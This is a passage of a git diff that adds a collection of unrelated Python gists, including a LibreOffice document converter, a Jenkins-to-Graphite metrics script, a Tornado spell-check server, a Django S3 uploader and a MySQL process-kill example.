+# plt.show()
+
+x_test = np.float32(np.arange(-15,15,0.1))
+NTEST = x_test.size
+x_test = x_test.reshape(NTEST,1) # needs to be a matrix, not a vector
+
+def get_pi_idx(x, pdf):
+  N = pdf.size
+  accumulate = 0
+  for i in range(0, N):
+    accumulate += pdf[i]
+    if (accumulate >= x):
+      return i
+  print 'error with sampling ensemble'
+  return -1
+
+def generate_ensemble(out_pi, out_mu, out_sigma, M = 10):
+  NTEST = x_test.size
+  result = np.random.rand(NTEST, M) # initially random [0, 1]
+  rn = np.random.randn(NTEST, M) # normal random matrix (0.0, 1.0)
+  mu = 0
+  std = 0
+  idx = 0
+
+  # transforms result into random ensembles
+  for j in range(0, M):
+    for i in range(0, NTEST):
+      idx = get_pi_idx(result[i, j], out_pi[i])
+      mu = out_mu[i, idx]
+      std = out_sigma[i, idx]
+      result[i, j] = mu + rn[i, j]*std
+  return result
+
+out_pi_test, out_sigma_test, out_mu_test = sess.run(get_mixture_coef(output), feed_dict={x: x_test})
+
+y_test = generate_ensemble(out_pi_test, out_mu_test, out_sigma_test)
+
+plt.figure(figsize=(8, 8))
+plt.plot(x_data,y_data,'ro', x_test,y_test,'bo',alpha=0.3)
+plt.show()
diff --git a/hard-gists/28802627584b21ba1f6a/._snippet.py b/hard-gists/28802627584b21ba1f6a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/28802627584b21ba1f6a/._snippet.py differ
diff --git a/hard-gists/28802627584b21ba1f6a/snippet.py b/hard-gists/28802627584b21ba1f6a/snippet.py
new file mode 100644
index 00000000..f67fa03f
--- /dev/null
+++ b/hard-gists/28802627584b21ba1f6a/snippet.py
@@ -0,0 +1,205 @@
+#!/usr/bin/env python3
+"""
+    VIEW COMPLETE CODE AT
+    =====================
+
+    * https://github.com/six519/libreoffice_convert
+
+    THANKS
+    ======
+
+    * Thanks to: Mirko Nasato for his PyODConverter http://www.artofsolving.com/opensource/pyodconverter
+
+    TESTED USING
+    ============
+
+    * Fedora release 20 (Heisenbug)
+    * Python 3.3.2
+
+    INSTALL DEPENDENCIES
+    ====================
+
+    * yum install libreoffice-sdk
+
+"""
+
+import uno
+import subprocess
+import time
+import os
+
+from com.sun.star.beans import PropertyValue
+
+LIBREOFFICE_DEFAULT_PORT = 6519
+LIBREOFFICE_DEFAULT_HOST = "localhost"
+
+LIBREOFFICE_DOC_FAMILIES = [
+    "TextDocument",
+    "WebDocument",
+    "Spreadsheet",
+    "Presentation",
+    "Graphics"
+]
+
+LIBREOFFICE_IMPORT_TYPES = {
+    "docx": {
+        "FilterName": "MS Word 2007 XML"
+    },
+    "pdf": {
+        "FilterName": "PDF - Portable Document Format"
+    },
+    "jpg": {
+        "FilterName": "JPEG - Joint Photographic Experts Group"
+    },
+    "html": {
+        "FilterName": "HTML Document"
+    },
+    "odp": {
+        "FilterName": "OpenDocument Presentation (Flat XML)"
+    },
+    "pptx": {
+        "FilterName": "Microsoft PowerPoint 2007 XML"
+    }
+}
+
+LIBREOFFICE_EXPORT_TYPES = {
+    "pdf": {
+        LIBREOFFICE_DOC_FAMILIES[0]: {"FilterName": "writer_pdf_Export"},
+        LIBREOFFICE_DOC_FAMILIES[1]: {"FilterName": "writer_web_pdf_Export"},
+        LIBREOFFICE_DOC_FAMILIES[2]: {"FilterName": "calc_pdf_Export"},
+        LIBREOFFICE_DOC_FAMILIES[3]: {"FilterName": "impress_pdf_Export"},
+        LIBREOFFICE_DOC_FAMILIES[4]: {"FilterName": "draw_pdf_Export"}
+    },
+    "jpg": {
+        LIBREOFFICE_DOC_FAMILIES[3]: {"FilterName": "impress_jpg_Export"},
+        LIBREOFFICE_DOC_FAMILIES[4]: {"FilterName": "draw_jpg_Export"}    
+    },
+    "html": {
+        LIBREOFFICE_DOC_FAMILIES[0]: {"FilterName": "HTML (StarWriter)"},
+        LIBREOFFICE_DOC_FAMILIES[1]: {"FilterName": "HTML"},
+        LIBREOFFICE_DOC_FAMILIES[2]: {"FilterName": "HTML (StarCalc)"},
+        LIBREOFFICE_DOC_FAMILIES[3]: {"FilterName": "impress_html_Export"},
+        LIBREOFFICE_DOC_FAMILIES[4]: {"FilterName": "draw_html_Export"} 
+    },
+    "docx": {
+        LIBREOFFICE_DOC_FAMILIES[0]: {"FilterName": "MS Word 2007 XML"} 
+    },
+    "odp": {
+        LIBREOFFICE_DOC_FAMILIES[3]: {"FilterName": "impress8"}
+    },
+    "pptx": {
+        LIBREOFFICE_DOC_FAMILIES[3]: {"FilterName": "Impress MS PowerPoint 2007 XML"}
+    }
+}
+
+class PythonLibreOffice(object):
+
+    def __init__(self, host=LIBREOFFICE_DEFAULT_HOST, port=LIBREOFFICE_DEFAULT_PORT):
+        self.host = host
+        self.port = port
+        self.local_context = uno.getComponentContext()
+        self.resolver = self.local_context.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", self.local_context)
+        self.connectionString = "socket,host=%s,port=%s;urp;StarOffice.ComponentContext" % (LIBREOFFICE_DEFAULT_HOST, LIBREOFFICE_DEFAULT_PORT)
+        self.context = None
+        self.desktop = None
+        self.runUnoProcess()
+        self.__lastErrorMessage = ""
+
+        try:
+            self.context = self.resolver.resolve("uno:%s" % self.connectionString)
+            self.desktop = self.context.ServiceManager.createInstanceWithContext("com.sun.star.frame.Desktop", self.context)
+        except Exception as e:
+            self.__lastErrorMessage = str(e)
+
+    @property 
+    def lastError(self):
+
+        return self.__lastErrorMessage
+
+    def terminateProcess(self):
+
+        try:
+            if self.desktop:
+                self.desktop.terminate()
+        except Exception as e:
+            self.__lastErrorMessage = str(e)
+            return False
+
+        return True
+
+    def convertFile(self, outputFormat, inputFilename):
+
+        if self.desktop:
+        
+            tOldFileName = os.path.splitext(inputFilename)
+            outputFilename = "%s.%s" % (tOldFileName[0], outputFormat)
+            inputFormat = tOldFileName[1].replace(".","")
+            inputUrl = uno.systemPathToFileUrl(os.path.abspath(inputFilename))
+            outputUrl = uno.systemPathToFileUrl(os.path.abspath(outputFilename))
+
+            if inputFormat in LIBREOFFICE_IMPORT_TYPES:
+                inputProperties = {
+                    "Hidden": True
+                }
+
+                inputProperties.update(LIBREOFFICE_IMPORT_TYPES[inputFormat])
+
+                doc = self.desktop.loadComponentFromURL(inputUrl, "_blank", 0, self.propertyTuple(inputProperties))
+                
+                try:
+                    doc.refresh()
+                except:
+                    pass
+
+                docFamily = self.getDocumentFamily(doc)
+                if docFamily:
+                    try:
+                        outputProperties = LIBREOFFICE_EXPORT_TYPES[outputFormat][docFamily]
+                        doc.storeToURL(outputUrl, self.propertyTuple(outputProperties))
+                        doc.close(True)
+
+                        return True
+                    except Exception as e:
+                        self.__lastErrorMessage = str(e)
+        
+        self.terminateProcess()
+
+        return False
+
+    def propertyTuple(self, propDict):
+        properties = []
+        for k,v in propDict.items():
+            property = PropertyValue()
+            property.Name = k
+            property.Value = v
+            properties.append(property)
+
+        return tuple(properties)
+
+    def getDocumentFamily(self, doc):
+        try:
+            if doc.supportsService("com.sun.star.text.GenericTextDocument"):
+                return LIBREOFFICE_DOC_FAMILIES[0]
+            if doc.supportsService("com.sun.star.text.WebDocument"):
+                return LIBREOFFICE_DOC_FAMILIES[1]
+            if doc.supportsService("com.sun.star.sheet.SpreadsheetDocument"):
+                return LIBREOFFICE_DOC_FAMILIES[2]
+            if doc.supportsService("com.sun.star.presentation.PresentationDocument"):
+                return LIBREOFFICE_DOC_FAMILIES[3]
+            if doc.supportsService("com.sun.star.drawing.DrawingDocument"):
+                return LIBREOFFICE_DOC_FAMILIES[4]
+        except:
+            pass
+
+        return None
+
+    def runUnoProcess(self):
+        subprocess.Popen('soffice --headless --norestore --accept="%s"' % self.connectionString, shell=True, stdin=None, stdout=None, stderr=None)
+        time.sleep(3)
+
+if __name__ == "__main__":
+
+    test_libreoffice = PythonLibreOffice()
+
+    #convert MS Word Document file (docx) to PDF
+    test_libreoffice.convertFile("pdf", "document.docx")
\ No newline at end of file
diff --git a/hard-gists/2888158/._snippet.py b/hard-gists/2888158/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2888158/._snippet.py differ
diff --git a/hard-gists/2888158/snippet.py b/hard-gists/2888158/snippet.py
new file mode 100644
index 00000000..971f32cc
--- /dev/null
+++ b/hard-gists/2888158/snippet.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+""" Sends Jenkins build duration statistics to Graphite. """
+import requests
+import json
+from graphite import Graphite # This is our closed-source library but you get the idea.
+
+JENKINS_URL='http://jenkins'
+GRAPHITE_HOST='10.x.x.x'
+GRAPHITE_PREFIX='jenkins.main.build_time.'
+
+def get_jobs(host):
+    response = json.loads(requests.get('%s/api/json' % host).text)
+    return response['jobs']
+
+def get_build_details(job_url):
+    return json.loads(requests.get('%s/lastSuccessfulBuild/api/json' % job_url).text)
+
+if __name__ == '__main__':
+    graphite = Graphite(GRAPHITE_HOST)
+
+    for job in get_jobs(JENKINS_URL):
+        build = get_build_details(job['url'])
+        graphite.send_metric(GRAPHITE_PREFIX + job['name'],
+                        int(build['duration']) // 1000,
+                        int(build['timestamp']) // 1000)
diff --git a/hard-gists/2888380/._snippet.py b/hard-gists/2888380/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2888380/._snippet.py differ
diff --git a/hard-gists/2888380/snippet.py b/hard-gists/2888380/snippet.py
new file mode 100644
index 00000000..ece51e65
--- /dev/null
+++ b/hard-gists/2888380/snippet.py
@@ -0,0 +1,40 @@
+import bottle
+from wsgiproxy.app import WSGIProxyApp
+
+# Remove "hop-by-hop" headers (as defined by RFC2613, Section 13)
+# since they are not allowed by the WSGI standard.
+FILTER_HEADERS = [
+    'Connection',
+    'Keep-Alive',
+    'Proxy-Authenticate',
+    'Proxy-Authorization',
+    'TE',
+    'Trailers',
+    'Transfer-Encoding',
+    'Upgrade',
+    ]
+
+root = bottle.Bottle()
+proxy_app = WSGIProxyApp("http://localhost/")
+
+def wrap_start_response(start_response):
+    def wrapped_start_response(status, headers_out):
+        # Remove "hop-by-hop" headers
+        headers_out = [(k,v) for (k,v) in headers_out
+                       if k not in FILTER_HEADERS]
+        return start_response(status, headers_out)
+    return wrapped_start_response
+
+
+def wrapped_proxy_app(environ, start_response):
+    start_response = wrap_start_response(start_response)
+    return proxy_app(environ, start_response)
+
+root.mount(wrapped_proxy_app,"/proxytest")
+
+@root.route('/hello/:name')
+def index(name='World'):
+    return '<b>Hello %s!</b>' % name
+
+bottle.debug(True)
+bottle.run(app=root, host='localhost', port=8080)
\ No newline at end of file
diff --git a/hard-gists/2890739/._snippet.py b/hard-gists/2890739/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2890739/._snippet.py differ
diff --git a/hard-gists/2890739/snippet.py b/hard-gists/2890739/snippet.py
new file mode 100644
index 00000000..957d9685
--- /dev/null
+++ b/hard-gists/2890739/snippet.py
@@ -0,0 +1,66 @@
+import urllib
+import settings
+try:
+	import json
+except ImportError:
+	import simplejson as json
+
+
+class YahooException(Exception): 
+	pass 
+
+
+class YahooGeocoder(object): 
+
+	@classmethod 
+	def geocode(self, query): 
+		file = urllib.urlopen("http://where.yahooapis.com/geocode?%s" % 
+			urllib.urlencode({ 
+				'appid': settings.YAHOO_APP_ID, 
+				'flags': 'j', 
+				'q': query 
+			})) 
+		try: 
+			result = json.loads(file.read()) 
+			return result['ResultSet']['Results'] 
+		except: 
+			print result
+			raise YahooException(result['ResultSet']['ErrorMessage']) 
+		finally: 
+			file.close() 
+		
+
+if __name__ == "__main__":
+    import sys
+    from optparse import OptionParser
+    
+    def main():
+        """
+        Geocodes a location given on the command line.
+        
+        Usage:
+            yahoogeocoder.py "1600 amphitheatre mountain view ca"
+        """
+        usage = "usage: %prog [options] address"
+        parser = OptionParser(usage)
+        (options, args) = parser.parse_args()
+        
+        if len(args) != 1:
+            parser.print_usage()
+            sys.exit(1)
+        
+        query = args[0]
+        gcoder = YahooGeocoder()
+        
+        try:
+            results = gcoder.geocode(query)
+        except YahooException, err:
+            sys.stderr.write('%s\n%s\nResponse:\n' % (err.url, err))
+            json.dump(err.response, sys.stderr, indent=4)
+            sys.exit(1)
+        
+        result = results[0]
+        print result
+        print (float(result['latitude']), float(result['longitude']))
+
+    main()
\ No newline at end of file
diff --git a/hard-gists/2894514/._snippet.py b/hard-gists/2894514/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2894514/._snippet.py differ
diff --git a/hard-gists/2894514/snippet.py b/hard-gists/2894514/snippet.py
new file mode 100644
index 00000000..cb84b551
--- /dev/null
+++ b/hard-gists/2894514/snippet.py
@@ -0,0 +1,63 @@
+#! /usr/bin/env python
+# avahi-alias.py
+
+import avahi, dbus
+from encodings.idna import ToASCII
+import logging
+
+# Got these from /usr/include/avahi-common/defs.h
+CLASS_IN = 0x01
+TYPE_CNAME = 0x05
+TYPE_A = 0x01
+
+TTL = 60
+
+def publish_a_record(cname):
+    logging.info('publish %s', cname)
+    bus = dbus.SystemBus()
+    server = dbus.Interface(bus.get_object(avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER),
+            avahi.DBUS_INTERFACE_SERVER)
+    group = dbus.Interface(bus.get_object(avahi.DBUS_NAME, server.EntryGroupNew()),
+            avahi.DBUS_INTERFACE_ENTRY_GROUP)
+
+    rdata = createRR(server.GetHostNameFqdn())
+    cname = encode_dns(cname)
+
+# 123         if (avahi_entry_group_add_address(entry_group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, config->no_reverse ? AVAHI_PUBLISH_NO_REVERSE : 0, config->name, &config->address) < 0) {
+
+    # socket.inet_aton('127.0.0.1')
+    group.AddRecord(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC, dbus.UInt32(0),
+        cname, CLASS_IN, TYPE_A, TTL, '\x7f\x00\x00\x01')
+    group.Commit()
+
+
+def encode_dns(name):
+    out = []
+    for part in name.split('.'):
+        if len(part) == 0: continue
+        out.append(ToASCII(part))
+    return '.'.join(out)
+
+def createRR(name):
+    out = []
+    for part in name.split('.'):
+        if len(part) == 0: continue
+        out.append(chr(len(part)))
+        out.append(ToASCII(part))
+    out = ['127.0.0.1']
+    out.append('\0')
+    return ''.join(out)
+
+if __name__ == '__main__':
+    logging.basicConfig(level=20)
+    import time, sys, locale
+    for each in sys.argv[1:]:
+        name = unicode(each, locale.getpreferredencoding())
+        if not name.endswith('.local'):
+            name = name + '.local'
+        publish_a_record(name)
+    try:
+        # Just loop forever
+        while 1: time.sleep(60)
+    except KeyboardInterrupt:
+        print "Exiting"
diff --git a/hard-gists/2894704/._snippet.py b/hard-gists/2894704/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2894704/._snippet.py differ
diff --git a/hard-gists/2894704/snippet.py b/hard-gists/2894704/snippet.py
new file mode 100644
index 00000000..0735da48
--- /dev/null
+++ b/hard-gists/2894704/snippet.py
@@ -0,0 +1,68 @@
+import functools
+import time
+import threading
+import logging
+import Queue
+import hunspell
+
+import tornado.web
+import tornado.websocket
+import tornado.locale
+import tornado.ioloop
+from tornado.options import define, options
+
+define('debug', type=bool, default=False, help='run in debug mode with autoreload (default: false)')
+
+class Handler(tornado.web.RequestHandler):
+    @property
+    def queue(self):
+        return self.application.queue
+
+    @tornado.web.asynchronous
+    def get(self, word):
+        self.queue.put( (word, self.on_callback) )
+
+    def on_callback(self, output):
+        self.write("Thread output: %s" % output)
+        self.finish()
+
+class ThreadWord(threading.Thread):
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.hobj = hunspell.HunSpell('./fr-classique.dic', './fr-classique.aff')
+
+    def run(self):
+        while True:
+            try:
+                word, callback = self.queue.get(True, 1)
+            except Queue.Empty:
+                continue
+            # cpu intensive work ...
+            output = self.hobj.spell(word)
+            tornado.ioloop.IOLoop.instance().add_callback(functools.partial(callback, output))
+            self.queue.task_done()
+
+class Application(tornado.web.Application):
+    def __init__(self):
+        handlers = [
+            (r"/(.*)", Handler),
+        ]
+        settings = {
+            'cookie_secret': 'W/wT5ndaR/2sa3m8OOQ5q0xDvnZclE4BtimO1f+QM2Y=',
+            'debug':options.debug,
+        }
+        tornado.web.Application.__init__(self, handlers, **settings)
+
+        self.queue = Queue.Queue()
+
+        for i in range(5):
+            t = ThreadWord(self.queue)
+            t.setDaemon(True)
+            t.start()
+
+if __name__ == "__main__":
+    tornado.options.parse_command_line()
+    application = Application()
+    application.listen(8888)
+    tornado.ioloop.IOLoop.instance().start()
diff --git a/hard-gists/2899595/._snippet.py b/hard-gists/2899595/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2899595/._snippet.py differ
diff --git a/hard-gists/2899595/snippet.py b/hard-gists/2899595/snippet.py
new file mode 100644
index 00000000..4f913185
--- /dev/null
+++ b/hard-gists/2899595/snippet.py
@@ -0,0 +1,81 @@
+"""
+This file provides an eventlet based S3 uploader for django-ajax-uploader. It
+supports chunk retry and chunk parallelism for efficient uploads.
+
+This backend will only work with the forked django-ajax-uploader from my
+multipart-post branch which adds some efficiencies to file upload.
+
+django-ajax-uploader: https://github.com/brosner/django-ajax-uploader/tree/multipart-post
+
+Author: Brian Rosner <brosner@gmail.com>
+"""
+import functools
+import io
+
+from django.conf import settings
+
+import boto
+import boto.s3.key
+import eventlet
+
+from ajaxuploader.backends.base import AbstractUploadBackend
+
+
+class S3UploadBackend(AbstractUploadBackend):
+    
+    POOL_SIZE = 10
+    CHUNK_RETRIES = 5
+    
+    def setup(self, filename):
+        conn = boto.connect_s3(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY)
+        self.bucket = conn.lookup(settings.AWS_BUCKET_NAME)
+    
+    def basic_upload(self, uploaded, filename):
+        """
+        Uploads the uploaded file to S3 using 
+        """
+        key = boto.s3.key.Key(self.bucket)
+        key.key = filename
+        key.set_contents_from_file(uploaded)
+        return True
+    
+    def multipart_upload(self, uploaded, filename):
+        """
+        Uploads the uploaded file to S3 using multipart upload.
+        """
+        mp = self.bucket.initiate_multipart_upload(filename)
+        def upload_chunk(chunk, c):
+            with io.BytesIO(chunk) as buf:
+                for x in xrange(self.CHUNK_RETRIES):
+                    try:
+                        mp.upload_part_from_file(buf, c)
+                    except (KeyboardInterrupt, SystemExit):
+                        raise
+                    except:
+                        # rety the chunk again
+                        buf.seek(0)
+                        continue
+                    else:
+                        # chunk uploaded successfully; stop retrying
+                        break
+                else:
+                    return False
+            return True
+        def produce_chunks():
+            c = 1
+            for chunk in uploaded.chunks(chunk_size=1024*1024*5):
+                yield (chunk, c)
+                c += 1
+        pool = eventlet.GreenPool(self.POOL_SIZE)
+        workers = pool.starmap(upload_chunk, produce_chunks())
+        result = all(workers)
+        mp.complete_upload()
+        return result
+    
+    def upload(self, uploaded, filename):
+        # if file is less than 5MB we fall-back to a basic upload (due to
+        # chunk size restrictions.)
+        if uploaded.size < (1024*1024*5):
+            return self.basic_upload(uploaded, filename)
+        else:
+            return self.multipart_upload(uploaded, filename)
diff --git a/hard-gists/28adf35f1e4ba3145e2d/._snippet.py b/hard-gists/28adf35f1e4ba3145e2d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/28adf35f1e4ba3145e2d/._snippet.py differ
diff --git a/hard-gists/28adf35f1e4ba3145e2d/snippet.py b/hard-gists/28adf35f1e4ba3145e2d/snippet.py
new file mode 100644
index 00000000..c0087c84
--- /dev/null
+++ b/hard-gists/28adf35f1e4ba3145e2d/snippet.py
@@ -0,0 +1,28 @@
+# /usr/bin/python3.4
+# -*- coding: utf-8 -*-
+__author__ = 'Mertcan Gökgöz'
+
+from bs4 import BeautifulSoup
+from urllib.request import urlopen, Request
+
+
+def DolarParse():
+    pasteURL = "http://tr.investing.com/currencies/usd-try"
+    data = urlopen(Request(pasteURL, headers={'User-Agent': 'Mozilla'})).read()
+    parse = BeautifulSoup(data)
+    for dolar in parse.find_all('span', id="last_last"):
+        liste = list(dolar)
+        print("Güncel Dolar Kuru: " + str(liste))
+
+
+def EuroParse():
+    pasteURL = "http://tr.investing.com/currencies/eur-try"
+    data = urlopen(Request(pasteURL, headers={'User-Agent': 'Mozilla'})).read()
+    parse = BeautifulSoup(data)
+    for dolar in parse.find_all('span', id="last_last"):
+        liste = list(dolar)
+        print("Güncel Euro Kuru: " + str(liste))
+
+
+DolarParse()
+EuroParse()
\ No newline at end of file
diff --git a/hard-gists/28bf77e9a95ae6b70b14141feacb1f84/._snippet.py b/hard-gists/28bf77e9a95ae6b70b14141feacb1f84/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/28bf77e9a95ae6b70b14141feacb1f84/._snippet.py differ
diff --git a/hard-gists/28bf77e9a95ae6b70b14141feacb1f84/snippet.py b/hard-gists/28bf77e9a95ae6b70b14141feacb1f84/snippet.py
new file mode 100644
index 00000000..d6e98168
--- /dev/null
+++ b/hard-gists/28bf77e9a95ae6b70b14141feacb1f84/snippet.py
@@ -0,0 +1,42 @@
+from sklearn.base import BaseEstimator, TransformerMixin
+from sklearn.model_selection import cross_val_predict
+from sklearn.pipeline import make_union
+from sklearn.model_selection._split import check_cv
+from sklearn.utils.validation import check_X_y
+
+class BlendedClassifierTransformer(BaseEstimator, TransformerMixin):
+    def __init__(self, clf, cv=3):
+        self.clf = clf
+        self.cv = cv
+
+    def fit(self, *args, **kwargs):
+        self.clf = self.clf.fit(*args, **kwargs)
+        return self
+
+    def transform(self, *args, **kwargs):
+        return self.clf.predict_proba(*args, **kwargs)
+
+    def fit_transform(self, X, y):
+        preds = cross_val_predict(self.clf, X, y, cv=self.cv, method='predict_proba')
+
+        self.clf.fit(X, y)
+
+        return preds
+
+
+def make_stack_layer(*clfs):
+    """
+    Wrap around make_union that just wraps every class with
+    `BlendedClassifierTransformer`
+    """
+    return make_union(*[BlendedClassifierTransformer(clf) for clf in clfs])
+
+# Example usage:
+from sklearn.pipeline import make_pipeline
+from stacking import make_stack_layer
+stack_layer = make_stack_layer(RandomForest(),
+                               LinearSVM())
+clf = make_pipeline(stack_layer, LogisticRegression())
+# then the model can be used just like a regular model
+clf.fit(Xtrain,ytrain)
+clf.predict_proba(Xtest)
\ No newline at end of file
diff --git a/hard-gists/28d2311cc6b28fe9bec0/._snippet.py b/hard-gists/28d2311cc6b28fe9bec0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/28d2311cc6b28fe9bec0/._snippet.py differ
diff --git a/hard-gists/28d2311cc6b28fe9bec0/snippet.py b/hard-gists/28d2311cc6b28fe9bec0/snippet.py
new file mode 100644
index 00000000..7102a6eb
--- /dev/null
+++ b/hard-gists/28d2311cc6b28fe9bec0/snippet.py
@@ -0,0 +1,121 @@
+from objc_util import *
+import time
+import notification
+
+APP=UIApplication.sharedApplication()
+DISPLAYMODE=0
+
+def setBadge(text):
+	APP.setApplicationBadgeString_(text)
+
+def getTimeString(seconds):
+	seconds=int(seconds)
+	if seconds<60:
+		return str(seconds)+'s'
+	elif seconds<3600:
+		return str(seconds/60)+'m'
+	else:
+		return str(seconds/3600)+'h'
+		
+class Container:
+	def __init__(self):
+		self.tasks=[]
+		self.updateTime=0
+		self.previousValues=[]
+		
+	def add(self,task):
+		self.tasks.append(task)
+		task.super=self
+		
+	@property
+	def shouldRefresh(self):
+		#Don't attempt to referesh more than twice per second
+		return time.time()-self.updateTime>0.5
+		
+	def update(self):
+		self.previousValues.append((time.time(),sum([p.value for p in self.tasks])))
+		if self.shouldRefresh:
+			#Calculate the percent of all progressbars
+			topValue=sum([p.topValue for p in self.tasks])
+			totalValue=sum([p.value for p in self.tasks])
+			percent=float(totalValue)/float(topValue)*100
+			
+			
+			#Set the badge for display mode 0, estimated time remaining.
+			if DISPLAYMODE>0:
+				values=self.previousValues
+				if len(values)>=5:
+					recentTimeRange=values[-1][0]-values[0][0]
+					recentValueRange=values[-1][1]-values[0][1]
+					changePerSecond=recentValueRange/recentTimeRange
+					remainingChange=topValue-totalValue
+					seconds=remainingChange/changePerSecond
+					badgeStr=getTimeString(seconds)
+				else:
+					badgeStr='...'
+			#Set the badge for display mode 0, percentage.
+			else:
+				if percent<10:
+					badgeStr=str(percent)[:3]+'%'
+				elif percent<100:
+					badgeStr=str(percent)[:4]+'%'
+				else:
+					badgeStr='100%'
+					
+			setBadge(badgeStr)
+			self.updateTime=time.time()
+
+TASKCONTAINER=Container()
+
+class Progress:
+	def __init__(self, topValue=100, title=None, notify=True):
+		self.topValue=topValue
+		self.value=0
+		self.title=title
+		self.notify=notify
+		self.hasNotified=False
+		TASKCONTAINER.add(self)
+		
+	def update(self,value):
+		self.value=value
+		self.super.update()
+		#Notify the user if notifications are enabled and the task is finished
+		if value==self.topValue and self.notify and not self.hasNotified:
+			if self.title is None:
+				message='Your progressbar has finished!'
+			else:
+				message='Your progressbar "{}" has finished!'.format(self.title)
+			notification.schedule(message)
+			self.hasNotified=True
+			
+	def increment(self,step=1):
+		self.update(self.value+step)
+	
+	def finish(self):
+		self.update(self.topValue)
+		time.sleep(0.5)
+		self.super.update()
+
+def setDisplayMode(mode):
+	global DISPLAYMODE
+	if isinstance(mode,str):
+		if 'time' in mode.lower():
+			DISPLAYMODE=1
+			return
+		else:
+			DISPLAYMODE=0
+	else:
+		DISPLAYMODE=mode
+		
+#Reset badge
+def stop():
+	setBadge('')
+	
+if __name__=='__main__':
+	#This progress counts some value out of 1000
+	setDisplayMode('time remaining')
+	p1=Progress(200,'Test Progressbar')
+	for x in range(201):
+		p1.increment()
+		time.sleep(0.1)
+	stop()
\ No newline at end of file
diff --git a/hard-gists/28f95f95731a5a24e553/._snippet.py b/hard-gists/28f95f95731a5a24e553/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/28f95f95731a5a24e553/._snippet.py differ
diff --git a/hard-gists/28f95f95731a5a24e553/snippet.py b/hard-gists/28f95f95731a5a24e553/snippet.py
new file mode 100644
index 00000000..1ba91d20
--- /dev/null
+++ b/hard-gists/28f95f95731a5a24e553/snippet.py
@@ -0,0 +1,11 @@
+from PIL import Image, ImageCms
+
+im = Image.open(image_path)
+if im.mode != "RGB":
+  im = im.convert("RGB")
+
+srgb_profile = ImageCms.createProfile("sRGB")
+lab_profile  = ImageCms.createProfile("LAB")
+
+rgb2lab_transform = ImageCms.buildTransformFromOpenProfiles(srgb_profile, lab_profile, "RGB", "LAB")
+lab_im = ImageCms.applyTransform(im, rgb2lab_transform)
diff --git a/hard-gists/2901479/._snippet.py b/hard-gists/2901479/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2901479/._snippet.py differ
diff --git a/hard-gists/2901479/snippet.py b/hard-gists/2901479/snippet.py
new file mode 100644
index 00000000..49afc957
--- /dev/null
+++ b/hard-gists/2901479/snippet.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8 -*-
+
+import os
+
+from flask import Flask
+
+from flask_heroku import Heroku
+from flask_sslify import SSLify
+from raven.contrib.flask import Sentry
+from flask.ext.celery import Celery
+
+app = Flask(__name__)
+app.secret_key = os.environ.get('APP_SECRET', 'some-secret-key')
+app.debug = 'DEBUG' in os.environ
+
+# Use gevent workers for celery.
+app.config['CELERYD_POOL'] = 'gevent'
+
+# Bootstrap Heroku environment variables.
+heroku = Heroku(app)
+
+# Redirect urls to https
+sslify = SSLify(app)
+
+# Setup error collection
+sentry = Sentry(app)
+
+# Task queue
+celery = Celery(app)
+
+
+@app.route('/')
+def hello_world():
+    return 'Hello World!'
diff --git a/hard-gists/2902213/._snippet.py b/hard-gists/2902213/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2902213/._snippet.py differ
diff --git a/hard-gists/2902213/snippet.py b/hard-gists/2902213/snippet.py
new file mode 100644
index 00000000..bcf44f08
--- /dev/null
+++ b/hard-gists/2902213/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/python
+# coding: UTF-8
+
+import MySQLdb
+import signal, os, sys
+
+workers = {}
+END_SIGNAL = "\n"
+
+def connect():
+  con = MySQLdb.connect(host='localhost', db='test', user='testuser', passwd='password')
+  return con
+
+def get_mysql_pid(con):
+  cur = con.cursor()
+  cur.execute('SELECT CONNECTION_ID()') #自分自身のmysqlセッションを取得
+  return cur.fetchall()[0][0]
+
+def kill_mysql_pid(con,mysql_pid):
+  cur = con.cursor()
+  cur.execute('KILL ' + mysql_pid) #mysqlセッションをKILL
+
+def run(con, query):
+  signal.signal(signal.SIGTERM, lambda sig, status: sys.exit(0))
+  cur = con.cursor()
+  cur.execute(query)
+
+def killall(sig, status):
+  con = connect()
+  for pid in workers.keys():
+    kill_mysql_pid(con,workers[pid]) #子プロセスのmysqlセッションをKILLする
+    os.kill(pid, signal.SIGTERM)
+
+def waitall():
+  for pid in workers.keys():
+    try:
+      os.waitpid(pid, 0)
+    except:
+      print "waitpid: interrupted exception"
+
+def main():
+  signal.signal(signal.SIGINT, killall)
+  signal.signal(signal.SIGTERM, killall)
+  r_num, w_num = os.pipe()
+  pid = os.fork()
+  if pid == 0:
+    os.close(r_num)
+    wpipe = os.fdopen(w_num, 'w')
+    con = connect()
+    mysql_pid = "%d\n" % get_mysql_pid(con) #親プロセスへ子プロセスのmysqlセッションidを送る
+    wpipe.write(mysql_pid)
+    wpipe.flush()
+    try:
+      run(con, "SELECT SLEEP(30)")
+    except:
+      print "run: interrupted exception"
+      sys.exit(0)
+  else:
+    os.close(w_num)
+    rpipe = os.fdopen(r_num, 'r')
+    mysql_pid = rpipe.readline()
